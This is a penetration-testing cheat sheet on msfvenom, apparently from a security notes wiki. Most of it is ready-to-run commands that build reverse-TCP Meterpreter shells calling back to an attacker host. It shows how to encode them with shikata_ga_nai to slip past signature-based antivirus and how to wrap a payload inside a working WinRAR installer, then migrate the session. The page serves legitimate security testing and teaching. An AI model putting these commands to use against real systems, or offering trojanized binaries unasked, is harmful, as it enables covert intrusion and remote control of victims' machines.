msfvenom: generating & encoding payloads

msfvenom is the dedicated, command-line payload generation and encoding utility integrated into the Metasploit ecosystem. Formed by consolidating the legacy msfpayload and msfencode tools, it allows penetration testers to generate standalone shellcode, executables, scripts, and web shells across dozens of target architectures and platforms such as Windows, Linux, Android, and macOS. The tool enables practitioners to strip out problematic characters (like null bytes), apply encoding algorithms to bypass basic signature filters, and chain payloads into custom file formats (e.g., .exe, .elf, .war, .raw). This flexibility makes it an essential utility for staging manual exploits, social engineering campaigns, and defense validation exercises.

Listing available options

msfvenom --list payloads
msfvenom --list formats
msfvenom --list encoders

Generating a basic reverse-TCP meterpreter payload

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<attacker_ip> LPORT=4444 -f exe -o payload.exe
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=<attacker_ip> LPORT=1234 -f elf > payload

Encoding to dodge signature-based AV

msfvenom -a x86 -p windows/meterpreter/reverse_tcp LHOST=<attacker_ip> LPORT=1234 \
  -e x86/shikata_ga_nai -i 10 -f exe > payload.exe

Injecting into a legitimate executable

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<attacker_ip> LPORT=1234 \
  -e x86/shikata_ga_nai -i 10 -f exe -k -x winrar-x32-621.exe > malicious-winrar.exe
# -x <path>   template file to wrap the payload in
# -k          keep the template's original functionality, otherwise it only runs the payload

After landing a meterpreter session from an injected/templated binary, run /post/windows/manage/migrate moves you into a more stable process before the original one exits or gets closed by the user — see Windows post-exploitation for the rest of that workflow.

• Payloads are organized by target_os / architecture / payload_type.
• shikata_ga_nai is the go-to encoder for both Linux and Windows targets.
• Encoding only defeats signature-based AV, not behavioral/EDR detection, and pushing iterations (-i) past ~10 stops buying much.

Related

• Meterpreter essentials — the session you land once the payload runs
• Bind shells and reverse shells — the underlying shell direction these payloads implement
• Upgrading a shell session to Meterpreter — one of its three methods generates a payload this same way
• Windows post-exploitation — the migrate step and what follows it
• Metasploit Framework — the multi/handler listener these payloads call back to